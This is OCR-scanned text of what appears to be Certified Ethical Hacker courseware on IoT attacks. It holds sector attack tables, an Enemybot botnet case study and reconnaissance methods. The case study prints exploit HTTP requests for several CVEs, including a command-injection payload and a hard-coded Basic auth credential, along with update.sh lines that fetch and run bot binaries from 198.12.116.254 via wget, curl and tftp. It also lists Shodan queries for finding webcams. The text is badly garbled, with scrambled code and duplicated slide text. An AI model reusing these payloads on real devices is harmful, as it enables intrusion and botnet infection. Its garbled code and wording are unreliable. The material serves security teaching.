Loss of confidentiality a nd availability

Loss of data availability

Loss of data confidentiality

Loss of data availability

Loss of data confidentiality

Loss of privacy and confidentiality

Loss of data availability

Loss of privacy and data confidentiality
Loss of privacy and data confidentiality
Loss of data confidentiality

Loss of data availability

Loss of data availability

Loss of data confidentiality

Loss of confidentiality and availability
Loss of confidentiality and availability
Loss of data

Loss of privacy and confidentiality

Loss of data availability
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IoT Attacks in Different Sectors (Cont'd) CEH
Cortitind | Eshical Wacker
[Seveeseor | teotmude | Posblecomsequences |
| Brute force: Generate manyguesses to find the correct credentials to gain accessto the system Loss of privacy and data confidentiality |
DoS Attack: Makingservice unavailable for legitimate users by flooding the system with communication requests Loss of data availability
IT and Networks Access Control: Getting access to the device Loss of confidentiality and availability |
Ohigashi-Morii Attack: Attacks the WPA-TKIP by reducing the injection time of a malicious packet Loss of confidentiality and availability
SSL Stripping: Manipulates unencrypted protocols to demand the use of TLS Loss of privacy and data confidentiality |
Jamming Attack: Prevents other nodes fromusing the channel to communicate by occupyingthe channel Loss of data availability |
Critical Water Fragmentation Attack: Guess the first 8 bytes of the headers by XORing Loss of privacy and data confidentiality
Infrastructure
DoS Attack: Makingservice unavailable for legitimate users by flooding the system with communication requests Loss of data availability
Exploiting Misconfiguration: Exploitingimproperconfiguration of sensors or loTdevices Loss of confidentiality and availability
Agriculture Path-Based DoS Attack: Injects malicious code into the packets or re playsome packets to the network Loss of data availability
Reprogram Attack: Reprogmmmingthe loT devices remotely Loss of privacy and data availability
GPS Spoofing: Deceive A GPS receiver by broadcasting incorrect GPS signals Loss of data availability
Signal Jamming Attack: Electromagnetic interference or interdiction usingthe same frequency-band wirelesssystems Loss of data availability
Marine
Access Control: Getting access to the device Loss of confidentiality a nd availability
Redirecting Communication: Redirectand eavesdrop the packets for intercepting and changing the transmitteddata  Loss of privacyand data confidentiality |
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IoT Attacks in Different Sectors

loT technology is making progress in every sector of society, including industry, healthcare,
agriculture, smart cities, security, transportation, etc. However, due to the implementation of a
decentralized approach in loT technology, organizations focus less on the security of the
devices. Therefore, rather than segmenting the IoT technology into different parts, suppliers
focus more on spotting the vulnerabilities and exploiting them.

These vulnerabilities present in I0T devices can be exploited by attackers to launch various
types of attacks, such as DoS attacks, jamming attacks, MITM attacks, and Sybil attacks, and
gather data, which results in loss of privacy and confidentiality.

Different |oT sectors and their associated attacks are listed below:

Service :
Types of Attack Possible Consequences
Sectors
" _ Loss of confidentiality and
Access Control: Gaining access to the device Rk Y
availability
MITM Attack: Listening to the communication Loss of privacy and data
between two endpoints confidentiality
o=ay DoS Attack: Flooding data streams with sy
Buildings e & Loss of data availability
communication to deplete system resources
Eavesdropping: Collecting exchanged messages Loss of data confidentiality
Control Hijacking Attack: Changing normal flow
control of the IoT device firmware by injecting Loss of data availability
malicious code
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Reverse Engineering: Analyzing the device firmware | Loss of privacy and data
to obtain sensitive data confidentiality
Rube Goldberg Attack: Chained attack designed to Loss of privacy and data
exploit industrial loT device weaknesses availability
Access Control: Gaining physical or remote access to | Loss of confidentiality and
the device availability
Reconnaissance: Engages with the target system to Loss of privacy and data
obtain information confidentiality
DoS Attack: Making service unavailable for
legitimate users by flooding the system with Loss of data availability
communication requests
Ereerinyr E d ! Collecting the t itted
avesdropping: Collecting the transmitte . s
i . . L f nfidentiali
Industrial Nformation 0ss of data confidentiality
Rube Goldberg Attack: Chained attack designed to Loss of privacy and data
exploit weaknesses of industrial 10T device availability
Spear Phishing Attack: Targets specific individuals or | Loss of privacy and data
groups within an organization confidentiality
Bluebugging: Exploiting vulnerabilities in old devices’ | Loss of privacy and data
firmware and spying on phone calls confidentiality
DoS Attack: Making service unavailable for
legitimate users by flooding the system with Loss of data availability
communication requests
" _ Loss of confidentiality and
Access Control: Gaining access to the device % Y
availability
Consumer
ol MITM Attack: Listening to the communication Loss of privacy and data
between two endpoints confidentiality
Home
Skill Squatting Attack: Exploiting the voice-based .
: . - . . P 5 Loss of privacy and data
commands in digital assistants such as Alexa and . i
confidentiality
Google Home
Formjacking Attack: Stealing credit card details and .
. . Loss of privacy and data
personal information from payment forms
Signal-Jamming Attack: Electromagnetic
interference or interdiction using the same Loss of data availability
frequency-band wireless systems
Healthcare
o Access Control: Gaining physical or remote access to | Loss of confidentiality and
the device availability
Life Science
DoS Attack: Making service unavailable for
legitimate users by flooding the system with Loss of data availability
communication requests
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Eavesdropping: Collecting exchanged messages

Loss of data confidentiality

Sinkhole Attack: Compromised nodes try to attract
traffic by advertising a fake route

Loss of data availability

Sybil Attack: Reputation system is subverted by
forging multiple identities

Loss of data confidentiality

Bluesnarfing Attack: Gaining illegal access to
Bluetooth devices to retrieve information

Loss of privacy and
confidentiality

ZED (ZigBee End-Device) Sabotage Attack: Damages
the ZED by sending a signal periodically to wake up

the object to drain its battery

Loss of data availability

MITM Attack: Listening to the communication
between two endpoints

Loss of privacy and data
confidentiality

Transportation
/

Automobile /

Security and
Public Safety

Impersonation Attack: Attacker successfully
assumes the identity of the other legitimate user

Loss of privacy and data
confidentiality

Sybil Attack: Reputation system is subverted by
forging multiple identities

Loss of data confidentiality

GPS Spoofing: Deceiving a GPS receiver by
broadcasting incorrect GPS signals

Loss of data availability

DoS Attack: Making service unavailable for
legitimate users by flooding the system with
communication requests

Loss of data availability

Eavesdropping: Collecting exchanged messages

Loss of data confidentiality

Access Control: Gaining access to the device

Loss of confidentiality and
availability

Wormhole Attack: Captures packets from one
location and sends it to another network

Loss of confidentiality and
availability

Black Hole Attack: Router discards packets instead
of relaying them

Loss of data

Bluesnarfing Attack: Gaining access to Bluetooth
devices illegally to retrieve information

Loss of privacy and
confidentiality

ZED (ZigBee End-Device) Sabotage Attack: Damages
the ZED by sending a signal periodically to wake up

the object to drain its battery

Loss of data availability

IT and
Networks

Brute Force: Generate many guesses to find the
correct credentials to gain access to the system

Loss of privacy and data
confidentiality

DoS Attack: Making service unavailable for
legitimate users by flooding the system with
communication requests

Loss of data availability
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Lmp _ Loss of confidentiality and
Access Control: Gaining access to the device Y

availability
Ohigashi—Morii Attack: Attacks the WPA-TKIP by Loss of confidentiality and
reducing the injection time of a malicious packet availability

SSL Stripping: Manipulates unencrypted protocols to | Loss of privacy and data

Critical Water
Infrastructure

demand the use of TLS confidentiality
Jamming Attack: Prevents other nodes from using

the channel to communicate by occupying the Loss of data availability
channel

Fragmentation Attack: Guess the first 8 bytes of the | Loss of privacy and data
headers by XORing confidentiality

DoS Attack: Making service unavailable for
legitimate users by flooding the system with Loss of data availability
communication requests

Agriculture

Exploitation of Misconfiguration: Improper
configuration of sensors or IoT devices leading to
exploitation of the security device

Loss of confidentiality and
data availability

Path-Based DoS Attack: Injects malicious code into

Loss of data availabilit
the packets or replays some packets to the network Y

Reprogram Attack: Reprogramming the |oT device Loss of privacy and data
remotely availability

Marine

GPS Spoofing: Deceiving a GPS receiver by

i . Loss of data availabilit
broadcasting incorrect GPS signals Y

Signal-Jamming Attack: Electromagnetic
interference or interdiction using the same Loss of data availability
frequency-band wireless systems

Loss of confidentiality and

Access Control: Gaining access to the device oy ek
availability

Redirecting Communication: Redirect and
eavesdrop the packets to intercept and change the
transmitted data

Loss of privacy and data
confidentiality
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Case Study: Enemybot :E!!

Cortetund

=

J Enemybot is a Mirai-based botnet malware discovered in early 2022. It has been
proliferating by exploiting weaknesses in 10T and other routing devices

) Once a weakly configured device is identified and infected, Enemybot adds that infected
loT device to its botnet fleet '

J Enemybot uses sophisticated string obfuscation methods to bypass security solutions m
and maintains a persistent connection with the C2 server located in the Tor network

Modified scanner module
Step 1: Creating Exploits

Mirai f A ' Enemybot
scanner_Init() [.". . \suanvouar 1) scanner_xywa() fe e o
Bad_auth_entry | CFie 13 1 1 e = e il B » ‘.L
J Enemybot borrows some modulessuch as scanner and bot killerfrom e e e ety VRGO
Mirai’s source code e ‘s
|:1|IJ"r |I. ine .-f I ™ .;.JI& :
J These modules are modified to identify vulnerable devices or processes to BoRe
spread infection t Do 1 sl i ¢
!I:Ir:._‘ll-j;'
Step 2: Disabling Other Malware on the Target = e 8 carer ot + 1
| " ichar )TN 154+ 1) = fchar) tarar? o 2SS 2 ehar) (Loshort)
J Enemybotimproves Mirai’s source code with additional keywords to et ek Lok s e s G

detectand terminate any rival malware active on the same device -
htt;:n_s:ffwww_. _fﬂ.rﬂﬂEf. com

Copyright © by EC-Council. All Rights Reserved. Repraduction is Strictly Prohibited.

Case Study: Enemybot (Cont'd) C'E

Cortilfind | Eshaon| Hacker

Step 3: Gaining Access Stage 4: Launching Attack

) Afterupdating Mirai’s source code with suitable functions, . Exploitingthe above vulnerabilities, the threat group can launch
Enemybotinitiates a brute-force attack through a list of hard-coded attacks beyond DDoS such as crypto mining
username/password combinations to gain access to the devices ) The shell script update.sh downloads and executesthe actual

) Enemybotalso exploits several othervulnerabilities such as CVE- malware’s (Enemybot) binaries onthe target architecture
2020-17456, CVE-2018-10823, and CVE-2022-27226

POST faplf C !"L‘ll."‘rtah HTTP; 1.1 ! } fvar/ run | St froot f
. o t 1 inary "198.12.116.254° et “enemybotmips’ x« tftp binary "198.12.116.254
HDSt - %5 o b | 'l... Imlips | h'r1[: .-"_-'l]”H 12.116. 254/ fol der .-"r.-r:1-m:.,-!-n1H:Fi[--. |':'-!1‘11'-.+I-I'Ifl"ii'-'-.

USEP‘ A,E'E"nt . %5 l:‘_-:‘-: nttp:r/f ]'J:-!.. 12.116. 254/ ftolder/enemybotmips enemybotmips
http://198.12.116. 254/ folder/enemybotmips enemybotmips

Accept -EI"iCCIdlﬁg: gzlpl dE.F]'a'tE http://198.12.116. 254/ tolder/enewybotmips enemybotmips |
Accept . *‘f > 21 198.12.116. 254 enemvbotmips enemybotmips « ftpget

21 198.12.116. 254 '-'f"l‘f"-'q'li--'-tﬂi["- I-11r."-'|"|'|!‘-‘."l1'|'|'li-["‘- rT5r Ill':‘l'ﬂf'p'}'l-:'llrmi:-'l'-.

Connection: keep-alive aabobaing
X-Requested-With: XMLHttpRequest
et S i bilnary 198.12.116.254° get enemybotarmd 1Isybox trtp binary 198.12.116.254

Origin: hxxp://%s et ' enemybotarns’ - veet Http://108.12.116. 254/ folder/enembotaras -0 sasmybotare’
RE"'FE‘F'E'P . hr:ﬂ:pi f’!%;’ weet hittp://198.12.116. 254/ folder/enemybot armb enemybotarm®

; N e http://198.12.116. 254/ tolderfenesmybot armS enemybotarms
CDI"ItEFTt = LEﬁgth : %d ht tp:/ F198.12.116. 254/ tolder/ enessybot armS encaybot arab

- # - - - - 21 198.12.116. 254 enewmvbotarmS enemvbotarmS < ttoeret SOTTVIROL S

=5 F r ¥ His

':Uﬂtt'ﬂt. T} I:.}E' appl?—catlﬂn‘JJSGH 21 198.12.116. 254 enemybotarmS enesybotarm® F1? enemybotarmS
Authorization: Basic cm9vdDpyb290 enemybotaras

binary "198.12.116.254° pet e vbotppc - 4404 D x titp binary "198.12.11¢
W get  enemybotpy A t http://198.12.116. 254/ tolder/enemybotppc -448Hp

{ "tasks": [{"Enahlﬁ”': tr"U'E', "minutes”: "* » “hours™: “*" 3 "da‘_'y”.'?": enemybotppc -4401p « wpet http://198.12.116. 254/ folder/enemybotppc - 446fp

enemybotppc -4484p http://198.12.116. 254/ folder/enemybot ppc -4484p enemybot ppc - 448fp

l‘*ll L] L] = Wi % L1 ] L]} L] = ll*ll (4] [ ] = g, 1] "t [N ] [} ] =
» mﬂﬁths = » IHEEkda}"S = » EDlﬂmand - 'GS J ] » _bDEII'"'d - ybox curl http://198.12.116.25%4/tolder/enemybotppc -4484p enemybotppc-44atp . ftppet
:: "name * "RL21" 5 "p]_atfﬂr-m" . "1;‘1_mt{32" = “Time” :+ "Wed Mar 16 ANONYWOUS ANOMYMOUS 21 198.12.116.254 enemybotppc-44@fp enemybotppc-448tp ybox ftpget

ANONYEOUS AN LS 21 198.12.116. 254 enemvbhotppc-448fp enesvbotpoc-4468Fp
i b b

1 5 - '13 - ZB EJTE 2 Bz 2 . } } 1 enceaybot P 44 p i 1agd enemybot g A40+ B hﬂﬂﬁ:;‘lr.l";ﬂl"ﬂl"lp‘v. fﬂd.lhet com
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Corrdund

Case Study: Enemybot (Cont’d) C:E

Commands supported by the installed bot

E—
2 Once the malware bot is installed on the target device, it Sacpsc

waits for commands from the C2 server to launch attacks on
the target; most of the commands it receives are DDoS-

Launches a DNS ampilification attack

Launches an attack on the servers dedicated to the game “ARK: Survival
Evolved”

oriented BLACKNURSE Floods the target with Destination Port Unreachable ICMP messages

Floods the DNS servers with hard-coded DNS UDP queries

Floods the target with TCP connections and holds them for certain
amount of time

Floods the target with HTTP requests

Floods the target with random non-zero-byte UDP packets

Step 5: Persistence

- The malware can obfuscate its strings using several
techniques such as XOR encoding with several byte keys,
single-byte XOR operation with 0x22, encryption of
commands with substitution ciphers, and encoding of strings
by appending the value three to every character

LDSERVER Updates the download server for the payload

Floods the target hosted OVH servers with custom UDP packets

Spreads the infection to other devices via 55H/Telnet brute-forcing and
exploits

I executes a shell command

- Using these obfuscation methods, Enemybot can hide its Fioods. the target with random-byte UDP packets

presence from analysts and other malware running on the Stops concurrent DoS attacks
sdme deuice TCP Floods the target with TCP packets having spoofed source headers

TCPON /TCPOFF Turns on or off the sniffing process

Launches an SSL/TLS attack

Floods the target with UDP packets having spoofed source headers

OVERTCP Performs a TCP attack with randomized packet delivery intervals

Copyright © by EG-Gouncil. All Rights Reserved. Reproduction s Strictly Prohibited.

Case Study: Enemybot

Source: https://www.fortinet.com

Enemybot is a Mirai-based botnet malware discovered in early 2022. The botnet malware has
been proliferating by exploiting weaknesses in Internet of things (loT) and other routing devices
worldwide. Once a weakly configured device is identified and infected, Enemybot adds that
infected loT device to its botnet fleet. The malware hijacks the computational resources of the
loT devices and uses them for distributed denial of service (DDoS) or crypto-mining attacks.
Enemybot uses sophisticated string obfuscation methods to bypass security solutions/analysis
and maintains a persistent connection with the command and control (C2) server located in the
Tor network.

Enemybot Attack Scenario:
= Step 1: Creating Exploits

Enemybot borrows some modules such as scanner and bot killer from Mirai’s

source code and modifies it to identify vulnerable devices or processes to spread
infection. The modified scanner module’s sample code is shown in the screenshot:
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Mirai
scanner init()

adﬂ_auth_ﬂnTryi &

add auth entry(~CF A
add auth entry(”CF*
add auth entry("Cl )
add_auth _entry("Cl K]
add auth entry("VGAJ", "VGAJ )
add_auth_entry ("OMVIGP®, "DWAI
Xprintti C Al o Ul |
LAB DOOLlcd34:
17 im Take 1 ) A
for (1 = 0 < 145 - + 1) {
D4 =
S1n _addr =
sin 2ero. 0 4 =
S1ln Zero. 4 4 = |
« (1phdr *)sca
= (tcphdr *){(
= rand nexti);
*(char *)& »1d = (char)
*(char *)({1nt)& «>14d 4+ 1)
->S5a0dr =
- get _random 1p()
->daddr =

*fundetTined *)&
¢ (undefined *)((int)é&

.h{héfi =
->Check + 1)
= Checksum generic{(uintlé '

= Step 2: Disabling Other Malware on the Target

. —
Enemybot S T
scanner_xywz( o
1 Uy SULlll FITITTT P S—— E
add auth entryl(é& 174
) ﬂ:j_def_EHTf.l e C %
r!.lj_.'j]tr_l"li:l'll.. by &
a0d auth entrvl”™} .
add auth entry (" (w- Ey
200 auth entry (" FMM 4
| B
LAB 0001 8bad
l‘ = :l {
! i
- F.f'l"l' 1Tl
|:1 - Na
- | }'..+r.|'ll . ;. I F - 1 I'j{j-
"{int *)| " =
- 1 t '-:i'-l.-j 1 ] ;[I{
I{ o = . -1-: .]{ s
110] =
= I :I -

= checksum generic|

Figure 18.17: Code similarities between Mirai and Enemybot

Exam 312-50 Certified Ethical Hacker

QI F
M )
f)
4)
)
+ 1) {
) =

Enemybot targets multiple architectures to spread its infection. Apart from loT devices,
the malware can also infect desktop architectures such as i586, arm, arm5, arm64,
arm7, Darwin, bsd, i686, m68k, mips, mpsl, ppc-440fp, sh4, spc, ppc, x64, and x86.
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Index of /folder

Name Last modified Size Description
q’lPMtL=lLutbq%
?) coemybotarm 2022-03-21 2 19K

1
:jntﬂfnnbeuun; JU22-03-21 21:15 135K
.jﬂ cnemyhotarm./ 2022-03-21 21:15 1.9M
gntﬂtun{miﬁiuh4 sUld a1
Ijﬂlwwn1ﬂuﬂth 2022-03-21 21:1

?) coemybotdarwin  2022-03-21 21:15 138K
?) coemyboti586 2022-03-21 21:15 102K
:jﬂtﬂfﬂnfﬂﬂhﬁh
jjﬂ cnemybounbik J2022-03-21 21:15 1.86M
-ZULH{HH‘hﬁHHPH J022-03-21 21:14 2.7 M
?) coemybotmpsl  2022-03-21 211
njﬂ enemybotpec J022-03-21 21:15 2.3M
.Eh_tutu1%UU1PPL 440ip 2022-03-21 21:15 130K
?) cnemybotshd 2022-03-21 21:14 132K
?) enemybotspe 2022-03-21 21:15 145K
[?) enemyborx6d 2022-03-21 21:15 125K
:jh cnemyboixBb 1:14 117K

2022-03-21 21:15 2.2M

2022-03-21

Fd

Figure 18.18: Target architectures
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Using the bot killer module, the malware detects active processes triggered from
specific paths or memory of the device and kills them immediately. Enemybot improves
Mirai’s source code with additional keywords to detect and terminate any rival malware
active on the same device.

= Step 3: Gaining Access

After updating Mirai’s source code with suitable functions, Enemybot initiates a brute-
force attack through a list of hard-coded username and password combinations to gain
access to the devices configured with weak or default credentials. The malware can also
infect weakly configured Android devices running on the Android Debug Bridge port
(5555) through shell commands. In addition, the malware can exploit several other
vulnerabilities as listed in the table.

CVE-2020-17456 CVE-2021-41773/CVE-2021-42013
CVE-2018-10823 CVE-2018-20062

CVE-2022-27226 CVE-2017-18368

CVE-2022-25075 to 25084 CVE-2016-6277
CVE-2021-44228/2021-45046 CVE-2015-2051

CVE-2014-9118 NETGEAR DGN1000 exploit

Table 18.5: Vulnerabilities exploited by Enemybot

POST /cgi-bin/system log.cgi HTTP/1.1
Host: %s

Content-Length: %d

Accept-Encoding: gzip, deflate
Accept: */*

User-Agent: %s

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

pingPktSize=56&btnApply=Apply&traceMode=ping&reportIpOnlyCheckbox=0
n&pingTimeout=30&Command=Diagnostic&T=1646950471018&queriesCnt=3&p1
nglpAddr=%%3B%s&logarea=com. cgi&maxT TLCnt=30&pingCount=4&reportIpOn

ly

Figure 18.19: CVE-2020-17456 exploit request

GET /chkisg.htmea3FSi1pkas3D1.1.1.1%%20%%7 Cler20%S
Host: %s

User-Agent: %s
Connection: Keep-Alive

Figure 18.20: CVE-2018-10823 exploit request
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POST /api/crontab HTTP/1.1
Host: %s

User-Agent: %s
Accept-Encoding: gzip, deflate
Accept: */*

Connection: keep-alive
X-Requested-With: XMLHttpReguest
Origin: hxxp://%s

Reterer: hxxp://%s

Content-Length: %d

Content-Type: application/json
Authorization: Basic cm9vdDpyb290

S T hours: ;
“command”: "As }],
"Wed Mar 16

{"tasks":
II_* mn

[{"enable”: true, "minutes”:

- I‘Imnthsll: Il*llj l'wEEkdayE.'l: I.*"IJ
{‘Ilnamell : IIRL21II - "platf{]rm" : llir‘z_'“'taz n - Iltimell :
16:43:20 UTC 2022";}

Figure 18.21: CVE-2022-27226 exploit request

Step 4: Launching Attack

Exploiting the above vulnerabilities, the threat group can launc

Exam 312-50 Certified Ethical Hacker

II‘:*:IIJ lldaygll:
" _board":

h attacks beyond DDoS,

such as crypto-mining attacks. Once the exploitation is successful, a shell command is

executed on the device to download another shellcode from a U

RL, which is dynamically

updated by the remote server (C2) using the LDSERVER comir

and. This command can

also assist the threat group in updating the URL even if the download server is

unavailable.

Then, the shell script update.sh downloads and executes the actual malware’s

(Enemybot) binaries on the targeted architecture.

) /

tmips '

1 /mnt /root
116.254° pet ) « tftp
get t http://198.12.116.254/folder/enemybotmips
wget http://198.12.116.254/tolder/enemybotmips enemybotmips
http://198.12.116.254/folder/enemybotmips enemybotmips
http://198.12.116.254/tolder/enemybotmips enemybotmips

21 198.12.116.254 enemybotmips enemybotmips x ftppet
21 198.12.116.254 enemybotmips enemybotmips d 777 enemybotmips
enemybotmips

1 /var/run
binary "198.12

14,;.'!.'-.:..! I.i .qurl_ &

cd Jtmp
binary "198
enemybotm

] r ” ,

CNnemy Do

x curl

busvyil anonymous

1

12.116.254 get | X trtp
get t http://198.12.116.254/tolder/enemybotarmS
weet http://198.12.116.254/folder/enemybotarmS |
http://198.12.116.25%4/folder/enemybotarmS
http://198.12.116.254/tolder/enemybotarmS

21 198.12.116.254 enemybotarmS enemybotarmS
21 198.12.116.254 enemybotarmS enemybotarmS
enemybot arm5

"198.

tlil'l-”""-,' 198, l:'r.l‘l“'"l otarmS’ h_i”,-”'ﬂhr "198

‘enemybotarm5’ enemybota
enemybotara5
enemybotarm5 x curl
enemybotareS

ftppet

| 777 enemybotarmS

1SV DOX anonymous

12.116.254° " enemy b c-440%tp’

& & L
-'1I-'1.| \'!' B

binary

get 'enemybotppe

pet . x tftp binary
et http://198.12.116.254/tolder/enemybotppc -440
enemybotppc -440fp <« weet http://198.12.116.254/ folder/enemybotppc-440fp
enemybotppc-440fp . http://198.12.116.254/tolder /enemybotppc-440fp
« curl http://198.12.116.254/ftolder/enemybotppc -440fp
ANONYymMous anonymous

.T:l

ANONYMOLS ANONYMOLU S

21 198.12.116.254 ¢
777 enemybotppc-440fp t Dt 1404

nemybotppc-4401tp enemybotppc
enemybotppc -440fp

Figure 18.22: Enemybot — update.sh code

Once the ma
C2 server to

ware bot is installed on the target device, it waits
aunch attacks on the target; most of the comman

SO NYROLU S

anonymous

.12.1106.254°

LpS

ANONYMOU'S

[ O YROW S

.12.116. 254"
rmS

AnNONymous
anonymou s

'198.12.116.254"
fp

enemybotppc -4401p

enemybotppc-440fp
2 21 198.12.116.254 enemybotppc-440fp enemybotppc-440fp

X ttppet

440tp hi

for commands from the
ds it receives are DDO0S-

oriented. The table below lists some of the DDoS commands that an installed bot can

use.
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Command Description

ADNS Launches a DNS amplification attack

AR Launches an attack on the servers dedicated to the game “ARK:
Survival Evolved”

BT AL — Floods the target with Destination Port Unreachable ICMP
messages

DNS Floods the DNS servers with hard-coded DNS UDP queries

HOLD Floods the target with TCP connections and holds them for a
certain amount of time

HTTP Floods the target with HTTP requests

JUNK Floods the target with random non-zero-byte UDP packets

LDSERVER Updates the download server for the payload

OVH Floods the target hosted OVH servers with custom UDP packets

SCANNER Spretads the mfeciaon to other devices via SSH/Telnet brute-
forcing and exploits

SH Executes a shell command

STD Floods the target with random-byte UDP packets

STOP Stops concurrent DoS attacks

TCP Floods the target with TCP packets having spoofed source headers

TCPON/TCPOFF | Turns on or off the sniffing process

TLS Launches an SSL/TLS attack

— Floods the target with UDP packets having spoofed source
headers

OVERTCP Performs a TCP attack with randomized packet delivery intervals

= Step 5: Persistence

Table 18.6: Commands that an installed bot can use

The malware can obfuscate its strings using several techniques such as XOR encoding
with several byte keys, single-byte XOR operation with 0x22, encryption of commands

with substitution ci

phers, and encoding of strings by appending the value three to every

character. Using these obfuscation methods, Enemybot can hide its presence from
analysts and other malware running on the same device.
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LO#03: Explain IoT Hacking Methodology
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IoT Hacking Methodology

Using the loT hacking methodology, an attacker acquires information through techniques such
as gathering information, identifying attack surface area, and vulnerability scanning, and uses it
to hack the target device and network. This section will focus on the tools and techniques used
by attackers to achieve their goal of hacking the target |oT device.
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What is IoT Device Hacking? CEH

Corvafipd iSanl  Hacker

The objective of 10T device hacking is to compromise smart devices like CCTV cameras, automobiles, printers, door
locks, and washing machines to gain unauthorized access to network resources and |oT devices

How a hacker gains profit from the IoT when it is successfully compromised:

Creates a Botnet of the compromised loT devices to launch a DDoS attack

—

Sells compromised data in black markets

- . |

Performs malicious activities on compromised loT devices

Installs Ransomware to block access to an loT device and ask for ransom

- - |

Uses compromised loT devices to steal the identity of a victim and perform credit card related frauds

- - |

Uses compromised CCTV cameras to snoop on families

Copyright © by EC-Council. All Rights Reserved. Reproduction is Strictly Prohibited.

What is IoT Device Hacking?

Owing to the significant growth of the paradigm of the 10T, an increasing number of devices are
entering our lives every day. From the automation of homes to healthcare applications, the loT
is everywhere. However, despite the ability of IoT devices to make our lives easier and more
comfortable, we cannot underestimate the risk of cyber-attacks. loT devices lack basic security,
thus making them prone to various types of cyber-attacks.

The objective of a hacker in exploiting 10T devices is to gain unauthorized access to the user’s
device and data. A hacker can use compromised loT devices to build up an army of botnets,
which in turn is used to launch a DDoS attack.

How a hacker gains profit from the IoT when it is successfully compromised

Today, all your data, location, email accounts, financial information, and pictures reside on your
smart devices or 10T devices, which is a treasure trove of data for hackers. With the increase in
selling and buying of 10T devices in the market, they are now outnumbering people. The
number of 10T devices is expected to reach 75 billion in 2025.

Owing to a lack of security policies, smart devices become easy targets for hackers, who can
compromise them to spy on user activities, misuse sensitive information (such as a patient’s
health record), install ransomware to block access to the target device, monitor a victim’s
activities using CCTV cameras, carry out credit card fraud, gain access to a user’s home, or add
the device to an army of botnets to carry out DDoS attacks.
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IoT Hacking Methodology :Eﬂ

Cortnd

Information The first step in 10T device hacking is to extract information such as IP address, protocols used, open ports,
Gathering device type, geo location of a device, manufacturing number, and manufacturing company of a device
Vulnerability Vulnerability scanning helps an attacker to identify the loT devices with weak configurations such as
Scanning hidden exploits, firmware bugs, weak settings and passwords, and poorly encrypted communications

The vulnerabilities found are exploited further to launch various attacks such as DoS attacks, rolling code

Launch Attacks attacks, jamming signal attacks, Sybil attacks, MITM attacks, data and identity theft attacks

Based on the vulnerabilities in an loT device, the attacker may turn the device into a backdoor to gain
access to an organization’s network without infecting any end systemthat is protected by IDS/IPS,
firewall, antivirus software, etc.

Gain Remote
Access

Attackers remain undetected by clearingthe logs, update the firmware and use malicious programs such

Maintain Access . e
as backdoors and Trojans to maintain access
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IoT Hacking Methodology
The following are the different phases in hacking an loT device:
* |nformation Gathering
= Vulnerability Scanning
" launch Attacks
= @Gain Remote Access

" Maintain Access
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Information Gathering using Shodan C'E H

Corvafipd iSanl  Hacker

- Shodan provides information about all the internet- B Webcam coumtry U™ - Shode ¢ (188
connected devices such as routers, traffic lights, B shodaruio/searchiquery=¥
CCTV cameras, servers, and smart home devices

J Attackers can utilize this tool to gather information 87 A S E—
such as IP address, hostname, ISP, device’s location e » webcamXP § 2
and the banner of the target loT device ——

. Attackers can gatherinformation on a target device
using filters given below:

& Search for webcams using geolocation:

webcamXP &[5

webcamxp country:”US”

Charter Commurications ino

@ Search using city: e &
Webcamxp city:'"streetsboro" o T B T T ——

@ Find webcams using longitude and latitude:

Webcamxp geo:“ -50.81,201.80”"

https://www.shodan. io
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Information Gathering

The first and foremost step in 10T device hacking is to extract information such as the IP
address, protocols used (Zigbee, BLE, 5G, IPv6LOWPAN, etc.), open ports, device type, geo-
location of a device, manufacturing number, and manufacturing company of a device. In this
step, an attacker also identifies the hardware design, its infrastructure, and the main
components embedded in a target device that is present online. Attackers make use of tools
such as Shodan, Censys, and Thingful to perform information gathering or reconnaissance on a
target device. Devices that are unavailable in the network but within the communication area
can also be detected by using sniffers such as Foren6, Suphacap, CloudShark, and Wireshark.

Information Gathering using Shodan
Source: https://www.shodan.io

Shodan is a search engine that provides information about all Internet-connected devices, such
as routers, traffic lights, CCTV cameras, servers, smart home devices, and industrial devices.
Attackers can make use of this tool to gather information such as the IP address, hostname, ISP,
device location, and the banner of the target loT device.

Attackers can gather information on a target device using the filters given below:
= Search for webcams using geolocation
webcamxp country: ”US” (Obtains all the webcamxp webcams present in US.)
= Search using city

webcamxp city:"streetsboro" (Obtains existing webcamxp webcams in
Streetsboro.)
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*  Find webcams using longitude and latitude

webcamxp geo:“ -50.81,201.80” (Obtains a specific webcam present at the
geolocation “-50.81,201.80” in the city Boston and country US.)

Additional filters used by the attackers to obtain target information:
= Net: Search based on the IP address or CIDR
= (OS: Search based on the operating system used by the devices
= Port: Find all open ports

= Before/after: Provides result within a certain timeframe

i | e = e - - ] cm iy
-y Webcamxp country US™ - Shoc k4 +

— B B shodan.io/search/query=Webcamxp+country®3A US" Q = w 1 ‘

Explore Downloads Prcing 2

8? New Service: Keep track of what you have connectad to the Internet. Check out Shodan Monitor
webcamXP 5 [
Morms Plains 11
Richardson
Fremont

Mezdville
Clifton

L2 €A D& WD

Mo

_ 172.104.23.166 [=
g0g0 :

g0
BEED

el

sl el d= Wm

webcamXP 5 [

Linode 25
Charter Communications Inc
Comcast Cable Communications, LLC

Armstrong

' I Y s T |

Comcast I[P Services, LL.C.

97.5 - The Hound

Figure 18.23: Information gathering using Shodan
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in that device

. Steps to perform scanning to identify the IP address of
any loT device:

@ Open the MultiPing application and select File = Add Address
Range

@ Select the router's gateway IP address from the Initial Address
to add drop-down field

® Set the Number of addresses to“255”, and click the OK button

& MultiPing will cycle through every possible IP address in the
range you have selected, and it begins testing every |IP address

that responds to its ping

@ Eachrow in the MultiPing Window is a device on the network.
From the list, the attacker can identify the IP address of the
target loT device

@ Tofind the target device faster, set the pingintervalto 1

Information Gathering using MultiPing C

{4 MultiPing by Pingman Tools

File Edit Search View Help
Z ] |
Enter new farget:

+

History:

| v google. com
!w-xw.mulmnu.cnm

{ipn S wen . aRamiai  Com

[, bwitter, com
{wvw.download. com

216.92,150. 222 MNegsoft Site by IP
lipwhrgooge.com

!_uad from file:
| Browse for file...

Clearworkspace

Querying Samples collected: 04

Information Gathering using MultiPing

Source: https://www.multiping.com

J An attacker can use MultiPing to find the IP address of any loT device in the target network
) After obtaining the IP address of an loT device, the attacker can perform further scanning to identify vulnerabilities

| 2001:4860: 4860::8888 Google IPv6 DNS by 1

- O 4
Ping Interval: |1 second v | S o Inckade: | 10 v | 0-200ms
Sop = 201-500 ms
Sample Set Time: 10M 52019 12:28:15 PM - 10M 52019 12:29:40 PM _
PL% P Mame Avg Cur 0ms Latency MOms ™
192.168.0.1 — D 0%
192.168.0.7 XC-B8BCAD D O
192.168.0.12 SCOW-010 0 0%
152.168.0.18 - 30 1 »*o
